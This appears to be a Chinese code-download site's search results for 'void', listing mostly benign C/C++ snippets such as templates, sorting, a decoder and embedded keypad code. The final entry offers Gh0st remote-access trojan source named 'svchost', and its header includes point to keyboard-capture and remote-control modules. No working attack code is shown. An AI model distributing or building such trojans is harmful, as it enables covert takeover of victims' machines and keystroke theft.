搜索资源列表
26
- 26.编写一个具有如下样式的类模板tmplt,用于实现所谓的反序输出问题,其中使用了类型参数T(使所处理的元素类型可变化)以及普通参数n(元素个数也可变化): template <class T, int n> class tmplt { T arr[n] // n个T类型的数据存放于数组arr之中 public: void dataIn() //从键盘输入n个T类型数据放入arr数组中 void reverseOut() //将arr数组中的数
C
- 《C/C++程序员实用大全》配套代码 [涉及平台] VC++ [作者] void [文件大小] 629KB [更新日期] 2005-10-28
Jpegdecoder
- void III_hufman_decode(struct Granule *gr,int part2_start, int freqline[SBLIMIT][SSLIMIT]) { unsigned int reg1, reg2,i unsigned int part3_length = part2_start + gr->part2_3_length unsigned used int h,*f=&freqline[0][0]
fushu
- 复数运算#include<iostream.h> class Complex { public: Complex( double r =0, double i =0 ) Complex(int a) { Real = a Image = 0 } void print() const friend Complex operator+ ( const Complex & c1, const Complex & c2 ) friend Com
CC++_programmer_Practical_Book_source_code
- 《C/C++程序员实用大全》的配套代码.涉及平台为 VC++,作者 void,文件大小629KB ,更新日期 2005-10-28
SerialTest
- 用VC++6.0实现PC机与单片机之间的串口数据交换 -void CSerialAPIView::OnInitialUpdate()
abc
- 关于数据结构入门的源码关于数据结构入门的源码-#include<iostream> using namespace std template<class T> class list{ private: int n int max_size T*data public: list(int max_list_size=10) ~list(){delete [] data } bool empty
ADC
- stm32驱动4X4键盘扫描,用于键盘扫描-/******************************************************************************* * File Name : KeyScan * Descr iption : Serial print out the corresponding key value *************************************************
cPPcode
- C++编程思想源码 //: 2_1.CPP -- Public is just like C struct #include "2_1.h" struct A{ int i char j float f void foo() } void A::foo(){} struct B{ public: int i char j float f void foo() } void B::
TCPIP-SOCKETS-IN-C
- C语言的TCP/IP编程书籍,初学者的指导用书,"This book fills a void in the area of networking education. ... an excellent companion to traditional networking textbooks ..." -- Ellen W. Zegura, Georgia Institute of Technology-"This book fills a void in the area of networ
Bubble-sort
- 高效的排序 冒泡排序 void order(int a[],int n)//冒泡算法 数组的大小n-Efficient sorting Bubble Sort
svchost
- ghost小马源码,喜欢的可以拿去研究。-// svchost.cpp : Defines the entry point for the console application. // #pragma comment(linker, /OPT:NOWIN98 ) #include ClientSocket.h #include common/KernelManager.h #include common/KeyboardManager.h #incl